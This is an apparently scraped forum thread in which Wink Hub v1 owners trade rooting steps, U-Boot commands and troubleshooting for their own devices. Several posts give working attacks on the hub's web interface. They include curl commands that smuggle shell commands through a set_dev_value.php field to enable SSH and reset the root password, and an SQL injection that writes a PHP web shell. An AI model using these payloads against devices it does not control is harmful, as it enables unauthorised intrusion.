yashsingh1/xdaforums huggingface dataset:
[Off-topic] jimkernsjr:
Worked for me...with modificaiton!

I had to modify this line:

insert into zwavedevicestate (nodeid, endpoint,attributeid) select 2, 0, attributeid from zwaveattribute;

to

insert into zwavedevicestate (nodeid, endpoint,attributeid) select 2, 0, attributeid from zwaveattribute where zwaveDeviceState.attributeId not in(3,4,5);

otherwise, I was violating the primary key constraints.

Great Job, and thanks for this!
[Off-topic] FreeFly:
I'm on 3.7.7 and as long as you keep updating properly (I wrote 4 scripts to do it) you'll keep root.
[Off-topic] hryamzik:
Any inputs on rooting wink hub 2? UART is in place but I don't see the NAND chip. On the other hand there's UBOOT and ethernet and it might be possible to deal with it in a WRT router style. However I've no ideas how to check this.
[Off-topic] johnsmallberries:
Getting this error when trying to root (mounting the database):

/etc # mount -t ubifs ubi1:database /database
UBIFS error (pid 1045): ubifs_read_node: bad node type (255 but expected 6)
UBIFS error (pid 1045): ubifs_read_node: bad node at LEB 0:0
mount: mounting ubi1:database on /database failed: Invalid argument

This is a version 1 hub but bought Nov 2017. I'm wondering if they changed something....
[Off-topic] koocuz:
Save old V1 Wink Hub from scrap

Hi there, I have an older pre-snafu wink hub I have been trying to keep out of the recycler's hands and restore to operation.

I am a beginner with Linux but am learning (much attributed to this fix!) and have countless hours in trying to revive this hub.

I have completed the following:

rootwink.com/viewtopic.php?t=236

It seems as though the wink unit accepted all of the commands but when trying to add the hub into the wink account it will connect to wifi (led turns blue) and just sit there, the phone app fails to connect to the hub and Putty picks up complaints about the certificate in the log.

I have also tried "the hard way" (rootwink.com/viewtopic.php?f=6&t=67) but when completing "other modifications"(rootwink.com/viewtopic.php?f=6&t=4) some of the commands escape me and I could not get them to work correctly, such as "#Verify you are booted into the updater-rootfs by making sure mtd2 (not mtd5) is being attached to ubi0" and the subsequent code. Also, in the prior update step #4 "/root/platform/upgrade.sh" seemed to give quite a few errors.

Long story short, is there a way to save this hub? Is there a process to manually update what is needed to get this thing communicating again?

I found useful info here(rootwink.com/viewtopic.php?t=155), a comment that an complete update is possible (not sure if that replaces the SSL Certs?) but I am unsure of how to accomplish this ("boot into updater partition and go straight to the upgrade"?), I have added "--insecure" to the updater.config file and verified it is there with vi as part of prior steps.

I thought this might be helpful as well to others attempting to do the same thing. Any help would be greatly appreciated.

Thanks!
[Off-topic] koocuz:
Hi Everyone, I think this is my last ditch effort to save this old Wink Hub. I have attempted further to get it to update the certs to no avail (probably user error). I realize it has been awhile and this is out of the minds of many but if anyone remembers please shout out. I feel like I have gotten to the home stretch, just need a little push :cyclops:. Hate to recycle a brand new "old" hub.

Thank you
[Off-topic] jmayes:
Hi, I am trying to get a root console on my wink hub 1 and have followed all the pin29 procedures however in /etc/inittab I have "::respawn:/root/platform/spawnTerminal.sh # GENERIC_SERIAL" instead of "#ttyAM0::respawn:/sbin/getty -L ttyAM0 115200 vt100 # GENERIC_SERIAL" as expected. I have tried adding the line and tried several normal linix commands but still do not get a console on normal boot, just the status info. Any help would be appreciated!

J
[Off-topic] jmayes:
No ideas on why this won't work for me?
[Off-topic] Slingky1178:
Hi guys, I have an old Wink Hub v1. (probably running latest firmware as of december 2019, was using winkapp until now...)

I'm trying to root it using the nand glitch and I get the console.

1st command passed :

setenv bootargs 'noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpmi init=/bin/sh';

2nd command failed :

nand read ${loadaddr} app-kernel 0x00400000 && bootm ${loadaddr}

This is the error message :

NAND read: device 0 offset 0x2b00000, size 0x400000

Attempt to read outside the flash area

0 bytes read: ERROR

Any ideas?

** I found a thread on rootwink[.]com and it was suggested to copy-paste instead of typing but it's what I did...

Thanks
[Off-topic] Seattleweather:
I got following message. Please help

<?xml version="1.0" encoding="iso-8859-1"?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"

"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">

<head>

<title>404 - Not Found</title>

</head>

<body>

<h1>404 - Not Found</h1>

</body>

</html>
[Off-topic] Peratelli:
=> printenv

app_boot=run appboot_args && nand read ${loadaddr} app-kernel 0x00400000 && bootm ${loadaddr}

app_boot_bad=run updater_args; setenv bootargs ${bootargs} badapp; nand read ${loadaddr} updater-kernel 0x00300000; bootm ${loadaddr}

appboot_args=setenv bootargs 'noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpmi';

baudrate=115200

bd_addr=0021CC09EAB0

boot_app=run app_boot || run app_boot_bad

boot_getflag=mtdparts default && ubi part database && ubifsmount ubi0:database && mw 42000000 0 8 && ubifsload 42000000 DO_UPDATE 1 && run boot_logic

boot_logic=mw 42000004 30; if cmp 42000000 42000004 1; then run boot_app; else run boot_updater; fi;

boot_updater=run updater_boot || run updater_boot_bad

bootargs=noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpmi badupdater

bootcmd=mtdparts default; run boot_getflag || echo Falling back to updater...; run boot_updater

bootdelay=1

bootfile=uImage

ethact=FEC0

ethaddr=00:04:00:00:00:00

ethprime=FEC0

loadaddr=0x42000000

mtddevname=u-boot

mtddevnum=0

mtdids=nand0=gpmi-nand

mtdparts=mtdparts=gpmi-nand:3m(u-boot),4m(updater-kernel),28m(updater-rootfs),8m(database),8m(app-kernel),-(app-rootfs)

partition=nand0,0

serialno=162100447WZD1

stderr=serial

stdin=serial

stdout=serial

updater_args=setenv bootargs 'noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=2 root=ubi0:rootfs rw gpmi';

updater_boot=run updater_args && nand read ${loadaddr} updater-kernel 0x00300000 && bootm ${loadaddr}

updater_boot_bad=run appboot_args; setenv bootargs ${bootargs} badupdater; nand read ${loadaddr} app-kernel 0x00400000; bootm ${loadaddr}

ver=U-Boot 2014.01-14400-gda781c6-dirty (Apr 30 2014 - 22:35:38)

Environment size: 1762/16379 bytes

=> setenv bootargs 'noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpmi init=/bin/sh'

=> nand read ${loadaddr} app-kernel 0x00400000 && bootm ${loadaddr}
[Off-topic] Peratelli:
I followed the Pin 29 ground method and got the uboot prompt on Wink Hub Gen 1.

I putted de line commands:

=> setenv bootargs 'noinitrd console=ttyAM0,115200 rootfstype=ubifs ubi.mtd=5 root=ubi0:rootfs rw gpmi init=/bin/sh'

=> nand read ${loadaddr} app-kernel 0x00400000 && bootm ${loadaddr}

The Wink Hub restart , but stop in this point:

Spoiler content hidden.

Please, how to solve this problem?

{Mod edit: Spoiler added for better reading and scrolling experiences - Regards Oswald Boelcke}
[Off-topic] Jmm1961:
I have had the same problem. I was able to

setenv bootdelay 1

saveenv

Then reset that will allow you to interrupt the boot with the keyboard and then load the kernel into memory and boot with the second command

For some reason the latest firmware 4.4.1 causes this odd error

I know this is a long time after the original post but I just found my stored wink
[Off-topic] akcracker:
was having same issue w/nand error w/later firmware (anything that doesn't produce "home page" when you connect to the wink open wifi & browse to its internal web server at 192.168.0.1)

I found it best to start the hub normally w/UART connected, then after about a minute of boot display, press the reset button to reboot & touch pin 29 after 1 sec. if nand still fails, I try again. but using this method has worked for me on the 6 hubs I rooted.

also found how to get wifi, tty & ssh working in later firmware (thru 4.4.1) - removed all but getty line in /root/platform/spawnTerminal.sh (don't touch /etc/inittab), removed "if" logic surrounding /database/bundle_id in /etc/init.d/S31platform, & DROPBEAR_ARGS settings in /etc/init.d/S50dropbear. then stop & start (not restart) dropbear, sync, & reboot -f (wifi /database/wpa_supplicant.conf changes are the same as w/the older firmware)
[Off-topic] RoganDawes:
In case anyone is interested, I did a writeup of my attempts to hack the Wink Hub v2, which seems to be less documented online.

SensePost | Investigating the wink hub 2

Leaders in Information Security

sensepost.com

So far, I haven't got any meaningful access, but there are a few avenues of attack still to be investigated. The most promising would be to remove the flash chip to take a copy of the firmware, but perhaps someone here has figured out the path to the v2 firmware files? This doc lists a number of Hub v1 firmware files: https://github.com/wink-hub-root/demystified/wiki/Official-Wink-Repo-File-Listings

Note that the hub is looking for the following host on boot: hub-updates.winkapp.com

Which appears to contain a backup of the files listed above.
[Off-topic] berserko:
eec07feee1fa1a4a06e05a00af18156f is version 33

---------- Post added at 10:00 PM ---------- Previous post was at 09:51 PM ----------

I have ran the following commands to my update partition to make sure I retain access:

ubiattach -p /dev/mtd2
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater
sed -i 's/=-sg/=/' /tmp/updater/etc/default/dropbear
rm -f /tmp/updater/etc/init.d/S99local
cp /var/www/set_dev_value.php /tmp/updater/var/www
fw_setenv bootdelay 5
sed -i 's/bootdelay 0/bootdelay 5/' /database_default/u-boot.env
echo "127.0.0.1 hub-api.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 hub-updates.winkapp.com" >> /tmp/updater/etc/hosts
echo "127.0.0.1 wink-hub-images.s3.amazonaws.com" >> /tmp/updater/etc/hosts
mkdir /tmp/updater/root/.ssh
cp /root/.ssh/authorized_keys /tmp/updater/root/.ssh/authorized_keys
cp /etc/shadow /tmp/updater/etc
sed -i 's/rm \/database\/wpa_supplicant.conf/echo WPA Fix #rm \/database\/wpa_supplicant.conf/' /tmp/updater/etc/init.d/S31platform
sed -i 's/#ttyAM0/ttyAM0/' /tmp/updater/etc/inittab

I use serial for access but ssh works just as well.
[Off-topic] coachclass:
For those using ssh instead of serial console, be careful about the bootdelay. I've read that not having a ttl-usb adapter connected to the JTAG headers might mess up the boot sequence. Some people reported a delay of 1 or 2 seconds is OK, any higher will mess it up.

So if you're using SSH only, might want to lower it to 1, or stay at 0. But that's risky too.
[Off-topic] qnology:
Thanks for the clarification and additional details [MENTION=6235795]berserko[/MENTION].

Thanks for the note [MENTION=4138808]coachclass[/MENTION]. I read the same thing and have been debating for SSH access only, if we should even mess with the bootdelay at all. But then again, setting it to 1 would allow us to use a serial connection as a backup method to get back into the Hub. I'm leaning toward a value of 1 currently.

---------- Post added at 05:53 PM ---------- Previous post was at 05:47 PM ----------

A couple of questions regarding the commands:

1) What's in the S99local file and why the need to delete it?

2) I didn't find a "/tmp/updater/etc/default/dropbear" file. I'm wondering if dropbear automatically creates it the first time the "upgrade mode" partition is started. If so, we probably need to create the default/dropbear file versus sedding it.
[Off-topic] OuTTaRiCe:
Ok a couple of noticeable changes in 0.47 update.

I noticed that the startup script for SSH /etc/init.d/S50dropbear changed.

It does a check for /database/ENABLE_SSH before it will start dropbear. It also copies /database/authorized_keys to /root/.ssh if one exists.

If you are gonna update to 0.47 manually, here are the additionally step you need to enable SSH.

Enable SSH, Without this, SSH will not start, well unless you copy over the old S50dropbear file.

# touch /database/ENABLE_SSH

You can now keep your authorized_keys file in /database, as the dropbear startup script will check for the file and copy it to /root/.ssh
[Off-topic] berserko:
Good catch...

I was also experimenting with the bootdelay and it appears any bootdelay might cause the device to hang on boot unless you keep the UART hooked up to the device.. In my opinion I wouldn't want to run without a uart long term unless you're blocking access to the Wink servers and not updating at all...
[Off-topic] ServError:
Yes, the inputs are found to float on the UART so the boot delay will always get tripped without something connected. Setting boot delay to 1 supposedly works for some people.
[Off-topic] qnology:
Can someone post the content of their S21platform file from the "upgrade mode" partition?

ubiattach -p /dev/mtd2
mkdir /tmp/updater
mount -t ubifs ubi2:rootfs /tmp/updater
cat /tmp/updater/etc/init.d/S31platform

My file doesn't look the same as the /etc/init.d/S31platform file and wanted to confirm. Thanks
[Off-topic] nyuzva:
That what happened to me, manually upgraded rooted Wink to 0.47.

Now I have SSH connection- Refused. :(

Wink has a blue light- connects itself to local network.

Android app can not connect Wink.

How to get back SSH ?

Anybody have a tutorial how use serial connection ?

Thanks in advance.
[Off-topic] berserko:
Did you uncomment the getty in inittab? If not serial won't help. If you did you need a usb uart and a 4 pin header (90 degree header work great you can reassemble the device and leave the UART hooked up... I got the uart similar to this https://www.sparkfun.com/products/9873 works great.

Did you keep any of the other exploits in tact? Might be another way in.

Did you copy set_dev_value.php back into place? If it's in place you could do something like this:

curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;touch /database/ENABLE_SSH;/etc/init.d/S50dropbear start;"

That would create the required file and start SSHD for you.

Post back with the upgrade procedure you did perhaps we can lend some more assistance.
[Off-topic] OuTTaRiCe:
Correct, The S31platform file under the updater fs is different. For one, it does not contain the removal of wpa_supplicant.conf.

---------- Post added at 04:38 PM ---------- Previous post was at 04:28 PM ----------

I think this step should be highlighted, as it's the most important step.

Even if no other files are modified or copied, copying set_dev_value.php alone will still give you root access.

That said, a suggestion I would probably make is copying set_dev_value.php to a different file name. You never know what Wink would do in future firmwares. They could easier create a script to remove set_dev_value.php on bootup.
[Off-topic] nyuzva:
Thank you, Berserko.

I got SSH back after running curl command you provide.

It is asking for password now, I did not have any before, tried, root and keep app.

It there a command to reset a password?

Was able to reset the password , suggested by Bluerhino.

#change root password to Mypwd (Wink didnt allow to change to password to 'root')

curl "hXXp://192.168.1.13/set_dev_value.php" -d "nodeId=a&attrId=;echo -e 'Mypwd\nMypwd' | passwd;"

And one more- I have a serial device, or will buy the one you mention.

After I hook it up to the Wink- what software and commands should I use?

Thanks for help.
[Off-topic] berserko:
Awesome that you got back in.... All serial gives you is just one more method to access the device in-case you get locked out. Its not a requirement by any means its good if you're paranoid like me... ;)

---------- Post added at 02:30 PM ---------- Previous post was at 01:31 PM ----------

Not sure if anyone is looking this far ahead. However, it appears there is a version of updater-rootfs.ubi (version 3 up from version 1) So its update for the updater partition. With the current version checking method on Wink it appears we can fake what version the filesystem is to avoid the update nag. So far the changes look pretty minor except the root password has been changed. Still evaluating what else is different and will post more when I have more to report.
[Off-topic] OuTTaRiCe:
EXPLOIT during updater-rootfs

Did the updater-rootfs.ubi update. Didn't really notice any changes, aside from the shadow file. I compared the files and they all seem to be the same size. Not sure what this updates. The files are dated Nov 15.

### Another way to use this EXPLOIT even with updated firmware ###

Something interesting to note. And also possible way to get ROOT for those who have accidentally updated their firmware.

The updater-rootfs still contains /var/www/set_dev_value.php, even with the recent update.

Method 1.) This will require some pretty good timing and the opportunity only exists if your Wink-app prompts for an update.

As the wink hub is updating, when its booted into updater-rootfs, you would have access to the /var/www/set_dev_value.php to gain root during the update.

Problem is that you'll have to time it right.

As it completes the firmware flash, it would write "0" to DO_UPDATE. If you time it right, you can run curl and set DO_UPDATE to "1" before it reboots.

If successful, you'll reboot back to updater-rootfs with access to /var/www/set_dev_value.php to do what you wish.

Medthod 2.) Update the upgrade.sh script while it's updating or remove S99local startup script altogether. So the next time there is an update, instead of updating, it will just boot into updater-rootfs. You now have access to use set_dev_value .php to gain root. You will be free to modify your rootfs.

At this time, Wink has not been updating the updater-rootfs so this exploit is still available.

Hope this helps for those who may have missed the opportunity to gain root access.
[Off-topic] nyuzva:
Wink is steady pink light. No access to it, only serial.

After connecting UART I am getting "SQL statement was rejected".

I attached a screenshot.

Does anybody know how to fix this issue?

Thanks
[Off-topic] kevinottawa:
Tried the root password way only SSH and I'm suck in solid pink light... this is what I did.

Allow SSH, use cURL program and run from command line

curl "http://192.168.0.1/set_dev_value.php" -d "nodeId=a&attrId=;sed -i 's/=-sg/=/' /etc/default/dropbear;/etc/init.d/S50dropbear restart;"

Create a php exploit file

curl -d id="1 or 1=1';ATTACH DATABASE '/var/www/exploit.php' AS lol; CREATE TABLE lol.pwn (t TEXT); INSERT INTO lol.pwn (t) VALUES ('<?php passthru(' || char(36) || '_POST[' || char(39) || 'cmd' || char(39) || ']); ?>');--" http://192.168.0.1/dev_detail.php

Used WinSCP to change set_dev_value.php

//$cmd = 'sudo ' . dirname(__FILE__) . '/php2apron set_value ' . $nodeId . " " .

$cmd = 'aprontest -u -m ' . $nodeId . ' -t ' . $attrId . ' -v ' . $v;

Added to /ect/hosts

127.0.0.1 hub-api.winkapp.com

127.0.0.1 hub-updates.winkapp.com

127.0.0.1 wink-hub-images.s3.amazonaws.com

Changed line in /etc/init.d/S31platform to:

rm /database/wpa_supplicant.conf1

Created wpa_supplicant.conf in /database/

ctrl_interface=/var/run/wpa_supplicant

update_config=1

ap_scan=1

fast_reauth=1

network={

ssid="Net Name"

key_mgmt=WPA-PSK

psk="1234567890"

}

Rebooted and then got the solid pink, no wink SSID and not on my network.

Any help on where i went wrong, this was step by step of what I did and don't want to do this to the replacement I'm going to get.
[Off-topic] breity:
I have a strange problem. I was able to root successfully on version .33 and ssh in, no problem. I then attempted to start a manual update and ran 'echo "1" > /database/DO_UPDATE' and rebooted. The device restarted fine and connected to my network (blue light). I attempted to ssh in again, but now I'm getting "Host key verification failed." I initially set up both password access and key access, so I tried removing the stored key from my known hosts file and then login in with a password and I get "Permission denied (publickey)."

I allowed connections to hub-api.winkapp.com, because I wanted to test out using the app, but I blocked hub-updates.winkapp.com and wink-hub-images.s3.amazonaws.com. Strange thing is that the app now shows my hub with software version .47. I wonder, did my hub update somehow on it's own? Thanks for any insight!
[Off-topic] OuTTaRiCe:
Not sure why you are creating another exploit file, as you already have access to set_dev_value.php.

Some people had issues with the if statement when only the wpa_supplicant.conf file was commented.

It's suggested to comment the entire if statement.

I would not suggest creating the wpa_supplicant.conf file manually, as you can easily mistype and no guarantee that the WinkHUB will recognize your SSID or access point.

i would suggest runing the following to allow the WinkHUB create the file itself.

curl "hxxp://_IP_ADDRESS/index.php" -d '{"ssid":"SSIDNAME","pass":"PASSWORD"}'

For whatever reason, it only works when I run it on the WinkHUB. Running it remotely seem to produce errors.

If you enbaled boot delay, then your only option is UART.

---------- Post added at 04:43 PM ---------- Previous post was at 04:34 PM ----------

Had the same thing happen to me.

Was in updater-rootfs and for some reason it updated on it's own and rebooted.

I think it's because I may have forgot to remove the S99local file or something and it still had access to the wink update sites while in the updater-rootfs.

Luckily it was before 0.47 was released so the update was only 0.33. Was gonna return it but the 0.33 exploit was released, which gave me root access to the WinkHUB again.

I now made sure I removed S99local and also blocked the update sites in the updater-rootfs image.

Your option now is to exchange your HUB or wait for the next update and try the alternate access to set_dev_value.php in my previous post.
[Off-topic] kevinottawa:
Wanted to try and make sure I had some kind of backup exploit.

I didn't comment it out I added 1 to the end of the file name... would it be best to just comment it out instead?

Ya I tried from windows cURL and got the error that's why I did the manual, what I pasted here was the exact text except for name and key.....I copied down every step as I was doing it for future use.

Didn't enable boot delay that I know of....

What I pasted was the exact step by step of what I did, nothing left out so if there is something you don't see there then I didn't do it and maybe that's why I bricked. Thanks
[Off-topic] breity:
Ah, thanks for the explanation. I was afraid that's what happened. I probably forgot to remove the S99local file too. Oh well. I wonder how long the next update will be. May go and exchange if I get a chance....